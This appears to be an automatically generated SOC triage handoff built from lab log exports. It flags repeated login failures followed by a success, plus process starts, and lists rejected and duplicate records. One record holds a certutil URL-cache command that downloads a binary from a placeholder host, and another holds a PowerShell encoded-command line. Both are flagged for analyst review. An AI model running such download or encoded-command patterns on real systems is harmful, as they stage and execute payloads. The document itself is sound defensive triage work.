SOC triage handoff
PARTIAL / analyst review required
input rows: 20 / accepted events: 13 / duplicate rows: 1 / rejected rows: 6 / review candidates: 3
Offline exported-log processing; review candidates, not confirmed incidents. No endpoint collection, network calls or response actions.
Rejected records remain below. A zero-candidate result does not establish that the input is complete or safe.
Review candidates
AUTH_FAILURES_THEN_SUCCESS
2026-10-26T10:10:00Z / lab_analyst / lab-wks-01
5 earlier failures within inclusive 600 seconds, then success on the same user/host/IP.
Follow-up: Confirm account ownership, MFA context and approved activity before assigning incident severity.
S01:R000001 S01:R000002 S01:R000003 S01:R000007 S01:R000004 S01:R000005 S01:R000006
CERTUTIL_URLCACHE_FETCH
2026-10-26T10:12:00Z / lab_analyst / lab-wks-01
certutil URL cache and force flags
Follow-up: Validate command content, parent process and authorization; encoding alone does not establish malicious intent.
PS_ENCODED_COMMAND
2026-10-26T10:12:00Z / lab_analyst / lab-wks-01
PowerShell encoded-command argument
Follow-up: Validate command content, parent process and authorization; encoding alone does not establish malicious intent.
Normalized UTC timeline
- 2026-10-26T10:00:00Z
login_failure / lab_analyst / lab-wks-01
S01:R000001 - 2026-10-26T10:00:00Z
login_failure / lab_control / lab-wks-02
S01:R000008 - 2026-10-26T10:01:00Z
login_failure / lab_analyst / lab-wks-01
S01:R000002 - 2026-10-26T10:01:00Z
login_failure / lab_control / lab-wks-02
S01:R000009 - 2026-10-26T10:02:00Z
login_failure / lab_analyst / lab-wks-01
S01:R000003 S01:R000007 - 2026-10-26T10:02:00Z
login_success / lab_control / lab-wks-02
S01:R000010 - 2026-10-26T10:03:00Z
login_failure / lab_analyst / lab-wks-01
S01:R000004 - 2026-10-26T10:04:00Z
login_failure / lab_analyst / lab-wks-01
S01:R000005 - 2026-10-26T10:10:00Z
login_success / lab_analyst / lab-wks-01
S01:R000006 - 2026-10-26T10:12:00Z
process_start / lab_analyst / lab-wks-01
S02:R000001 - 2026-10-26T10:12:00Z
process_start / lab_analyst / lab-wks-01
S02:R000002 - 2026-10-26T10:12:00Z
process_start / lab_analyst / lab-wks-01
S02:R000003 - 2026-10-26T10:12:00Z
process_start / lab_analyst / lab-wks-01
S02:R000004
Source files and scope
- S01 / authentication.csv / 12 data records
0099191c7dd9ab4395676b63b93b95de9ef28d4152b08e626ee0939f44efffae
- S02 / processes.json / 8 data records
2461f8d3fa083458e7ddc5398a4dc12a119477970f8d2fb300b4b767f610702a
Same-time failures and successes do not establish order: tied failures are excluded and every success resets the earlier failure history.
Record references count CSV data records after the header or JSON array positions, starting at one. Record hashes cover canonical parsed JSON; file hashes cover exact input bytes. Only declared host/event_uid pairs are coalesced. Shared IDs must be stable and unique within a host across the supplied exports.
Preserved input records
S01:R000001 / accepted
Accepted source record
{
"event_uid": "a01",
"timestamp": "2026-10-26T10:00:00Z",
"username": "lab_analyst",
"host": "LAB-WKS-01",
"event_type": "login_failure",
"source_ip": "192.0.2.10"
}Parsed-record SHA-256: e7060b34de74c298dcf6976cfa9c736059a1c57aff635b026433e203240a0ec1
S01:R000002 / accepted
Accepted source record
{
"event_uid": "a02",
"timestamp": "2026-10-26T10:01:00Z",
"username": "lab_analyst",
"host": "LAB-WKS-01",
"event_type": "login_failure",
"source_ip": "192.0.2.10"
}Parsed-record SHA-256: c02815b2bf315775b4eaa24d820feaabb31494827fc4c4eadee7dcf0ba6151e4
S01:R000003 / accepted
Accepted source record
{
"event_uid": "a03",
"timestamp": "2026-10-26T10:02:00Z",
"username": "lab_analyst",
"host": "LAB-WKS-01",
"event_type": "login_failure",
"source_ip": "192.0.2.10"
}Parsed-record SHA-256: 7b8b966e6ecf6b34cd91e5b08b3e753e5ff64009c45674d0d2d190574c7a28d4
S01:R000004 / accepted
Accepted source record
{
"event_uid": "a04",
"timestamp": "2026-10-26T10:03:00Z",
"username": "lab_analyst",
"host": "LAB-WKS-01",
"event_type": "login_failure",
"source_ip": "192.0.2.10"
}Parsed-record SHA-256: a48cbbbec6f462269862266fbe85afb854b7a1049ccf0ca12f5cea77cda4a348
S01:R000005 / accepted
Accepted source record
{
"event_uid": "a05",
"timestamp": "2026-10-26T10:04:00Z",
"username": "lab_analyst",
"host": "LAB-WKS-01",
"event_type": "login_failure",
"source_ip": "192.0.2.10"
}Parsed-record SHA-256: c4a5288581fd7b95c75d14f9c838d546ef2bbe28125571b1646bac7c8aa93496
S01:R000006 / accepted
Accepted source record
{
"event_uid": "a06",
"timestamp": "2026-10-26T12:10:00+02:00",
"username": "lab_analyst",
"host": "LAB-WKS-01",
"event_type": "login_success",
"source_ip": "192.0.2.10"
}Parsed-record SHA-256: 834b601e3f2b247e6cc88141d50a69252b6c4a550174fc0205f2f98b31dc691e
S01:R000007 / duplicate
S01:R000003
{
"event_uid": "a03",
"timestamp": "2026-10-26T10:02:00Z",
"username": "lab_analyst",
"host": "LAB-WKS-01",
"event_type": "login_failure",
"source_ip": "192.0.2.10"
}Parsed-record SHA-256: 7b8b966e6ecf6b34cd91e5b08b3e753e5ff64009c45674d0d2d190574c7a28d4
S01:R000008 / accepted
Accepted source record
{
"event_uid": "b01",
"timestamp": "2026-10-26T10:00:00Z",
"username": "lab_control",
"host": "LAB-WKS-02",
"event_type": "login_failure",
"source_ip": "192.0.2.20"
}Parsed-record SHA-256: 02a2cc1792cd1c291b9f9963361bd418551c84feafbffef55e80848efdd7a26a
S01:R000009 / accepted
Accepted source record
{
"event_uid": "b02",
"timestamp": "2026-10-26T10:01:00Z",
"username": "lab_control",
"host": "LAB-WKS-02",
"event_type": "login_failure",
"source_ip": "192.0.2.20"
}Parsed-record SHA-256: b9401f469e3cfdfec33eccbaf8307d2cf90bb7b953306b34c43735fa6c620fe4
S01:R000010 / accepted
Accepted source record
{
"event_uid": "b03",
"timestamp": "2026-10-26T10:02:00Z",
"username": "lab_control",
"host": "LAB-WKS-02",
"event_type": "login_success",
"source_ip": "192.0.2.20"
}Parsed-record SHA-256: b1e54ef306d52face9dc44f759994ff690a172d7e6ea43db417d243120b3a3df
S01:R000011 / rejected
Timestamp must include an explicit timezone
{
"event_uid": "bad01",
"timestamp": "2026-10-26T10:00:00",
"username": "lab_unknown",
"host": "LAB-WKS-03",
"event_type": "login_failure",
"source_ip": "192.0.2.30"
}Parsed-record SHA-256: 5448dbfa3f744fbb5872b198bcbabee4b72545ff2851d0e8033e127edb2d8384
S01:R000012 / rejected
'not-an-address' does not appear to be an IPv4 or IPv6 address
{
"event_uid": "bad02",
"timestamp": "2026-10-26T10:00:00Z",
"username": "lab_unknown",
"host": "LAB-WKS-03",
"event_type": "login_failure",
"source_ip": "not-an-address"
}Parsed-record SHA-256: 3a10158361253889bc0cb20d94bdfcc2add24e1b1ea138df365c7cdc20d85951
S02:R000001 / accepted
Accepted source record
{
"timestamp": "2026-10-26T10:12:00Z",
"user": "lab_analyst",
"computer": "LAB-WKS-01",
"action": "process_start",
"parent_image": "explorer.exe",
"event_uid": "p01",
"image": "powershell.exe",
"command_line": "powershell.exe -EncodedCommand LAB_ONLY_PLACEHOLDER"
}Parsed-record SHA-256: 27de8176858f59646c1f6a1bc1f443cc6e7850893c68aee7e5bfbb918d8fe756
S02:R000002 / accepted
Accepted source record
{
"timestamp": "2026-10-26T10:12:00Z",
"user": "lab_analyst",
"computer": "LAB-WKS-01",
"action": "process_start",
"parent_image": "explorer.exe",
"event_uid": "p02",
"image": "certutil.exe",
"command_line": "certutil.exe -urlcache -f https://example.invalid/lab.bin lab.bin"
}Parsed-record SHA-256: f7b4d11a52b582c3bc566884d598f4205a9bfb957b5ce87efba6e92ebcec0857
S02:R000003 / accepted
Accepted source record
{
"timestamp": "2026-10-26T10:12:00Z",
"user": "lab_analyst",
"computer": "LAB-WKS-01",
"action": "process_start",
"parent_image": "explorer.exe",
"event_uid": "p03",
"image": "powershell.exe",
"command_line": "powershell.exe -File diagnostic.ps1"
}Parsed-record SHA-256: 5276a7c7236a55a2899c1b2f07f6b072b895b9f9ebe85d8d190047eed09946ac
S02:R000004 / accepted
Accepted source record
{
"timestamp": "2026-10-26T10:12:00Z",
"user": "lab_analyst",
"computer": "LAB-WKS-01",
"action": "process_start",
"parent_image": "explorer.exe",
"event_uid": "p04",
"image": "certutil.exe",
"command_line": "certutil.exe -hashfile local.bin SHA256"
}Parsed-record SHA-256: 7a3135baab7c874a046ba4beddcc2fde559397ec252a625323f97d7255a84168
S02:R000005 / rejected
Missing required field: command_line
{
"timestamp": "2026-10-26T10:12:00Z",
"user": "lab_analyst",
"computer": "LAB-WKS-01",
"action": "process_start",
"parent_image": "explorer.exe",
"event_uid": "bad03",
"image": "powershell.exe"
}Parsed-record SHA-256: af90b3d0e3df7f54e22013d717887528d8e5c68ac5f2001c762ca84265c4fc11
S02:R000006 / rejected
Missing required field: host
{
"timestamp": "2026-10-26T10:12:00Z",
"user": "lab_analyst",
"computer": "",
"action": "process_start",
"parent_image": "explorer.exe",
"event_uid": "bad04",
"image": "notepad.exe",
"command_line": "notepad.exe"
}Parsed-record SHA-256: 705491d43626456c0e5ca28ba7a3e24afeeab58e9b48a243c7e11a2b4eb7b068
S02:R000007 / rejected
Conflicting or invalid copy of event_uid within host; all identifiable matching IDs quarantined
{
"timestamp": "2026-10-26T10:12:00Z",
"user": "lab_analyst",
"computer": "LAB-WKS-01",
"action": "process_start",
"parent_image": "explorer.exe",
"event_uid": "conflict01",
"image": "notepad.exe",
"command_line": "notepad.exe"
}Parsed-record SHA-256: 6e07c081f67c660f2b446072104394bbea27cd3eafe213149a3417d23e4748ce
S02:R000008 / rejected
Conflicting or invalid copy of event_uid within host; all identifiable matching IDs quarantined
{
"timestamp": "2026-10-26T10:12:00Z",
"user": "lab_analyst",
"computer": "LAB-WKS-01",
"action": "process_start",
"parent_image": "explorer.exe",
"event_uid": "conflict01",
"image": "notepad.exe",
"command_line": "notepad.exe another.txt"
}Parsed-record SHA-256: 81aae7b38f6259f75af0a80a060b466509064b4a98de74741a01481b35e4b8ed